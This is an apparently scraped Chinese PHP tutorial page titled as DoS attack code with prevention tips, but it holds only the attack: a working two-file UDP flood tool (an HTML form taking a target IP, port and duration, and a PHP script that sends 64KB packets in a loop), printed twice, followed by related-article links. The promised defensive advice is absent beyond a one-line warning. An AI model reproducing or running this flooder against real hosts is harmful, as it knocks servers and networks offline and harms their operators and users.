php DOS攻擊實(shí)現(xiàn)代碼(附如何防范)
更新時(shí)間:2012年05月29日 19:43:37 作者:
小段php代碼實(shí)現(xiàn)DOS攻擊,有時(shí)候通過這段代碼不需要獲取服務(wù)器權(quán)限也可以作為攻擊的肉雞了,所以大家一定要注意網(wǎng)站安全
index.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
function.php
<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
復(fù)制代碼 代碼如下:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
function.php
復(fù)制代碼 代碼如下:
<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
您可能感興趣的文章:
- 整理php防注入和XSS攻擊通用過濾
- PHP中防止SQL注入攻擊和XSS攻擊的兩個(gè)簡(jiǎn)單方法
- php防止CC攻擊代碼 php防止網(wǎng)頁(yè)頻繁刷新
- PHP和XSS跨站攻擊的防范
- 細(xì)談php中SQL注入攻擊與XSS攻擊
- php實(shí)現(xiàn)cc攻擊防御和防止快速刷新頁(yè)面示例
- PHP代碼網(wǎng)站如何防范SQL注入漏洞攻擊建議分享
- PHP與SQL注入攻擊防范小技巧
- php5系列的apache遠(yuǎn)程執(zhí)行漏洞攻擊腳本
- php下網(wǎng)站防IP攻擊代碼,超級(jí)實(shí)用
- PHP常見的幾種攻擊方式實(shí)例小結(jié)
相關(guān)文章
基于php實(shí)現(xiàn)七牛抓取遠(yuǎn)程圖片
由于公司網(wǎng)站之前的用戶頭像都是存儲(chǔ)在自己的服務(wù)器上的,后來感覺管理不方便,新增加的用戶頭像都上傳到了七牛,為了方便統(tǒng)一管理,領(lǐng)導(dǎo)說把本地服務(wù)器的頭像全部遷移到了七牛2015-12-12
PHP數(shù)組內(nèi)存利用率低和弱類型詳細(xì)解讀
本篇文章主要介紹了PHP數(shù)組內(nèi)存利用率低和弱類型詳細(xì)解讀,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2017-08-08
Laravel5.1 框架模型遠(yuǎn)層一對(duì)多關(guān)系實(shí)例分析
這篇文章主要介紹了Laravel5.1 框架模型遠(yuǎn)層一對(duì)多關(guān)系,結(jié)合實(shí)例形式分析了laravel5.1框架模型遠(yuǎn)層一對(duì)多關(guān)系相關(guān)原理、實(shí)現(xiàn)方法與操作注意事項(xiàng),需要的朋友可以參考下2020-01-01
在WordPress中使用wp-cron插件來設(shè)置定時(shí)任務(wù)
這篇文章主要介紹了在WordPress中使用wp-cron插件來設(shè)置定時(shí)任務(wù)的方法,文中給出了幾個(gè)常用的相關(guān)PHP函數(shù)和參數(shù),需要的朋友可以參考下2015-12-12
Laravel 錯(cuò)誤提示本地化的實(shí)現(xiàn)
今天小編就為大家分享一篇Laravel 錯(cuò)誤提示本地化的實(shí)現(xiàn),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-10-10
nginx簡(jiǎn)單配置多個(gè)php服務(wù)實(shí)例教程
nginx安裝剛安裝好是不能訪問php文件的,需要我們進(jìn)行配置,下面這篇文章主要給大家介紹了關(guān)于nginx簡(jiǎn)單配置多個(gè)php服務(wù)的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-01-01
php json轉(zhuǎn)換相關(guān)知識(shí)(小結(jié))
這篇文章主要介紹了php json轉(zhuǎn)換相關(guān)知識(shí)(小結(jié)),小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2018-12-12
laravel 解決groupBy時(shí)出現(xiàn)的錯(cuò)誤 isn''t in Group By問題
今天小編就為大家分享一篇laravel 解決groupBy時(shí)出現(xiàn)的錯(cuò)誤 isn't in Group By問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-10-10

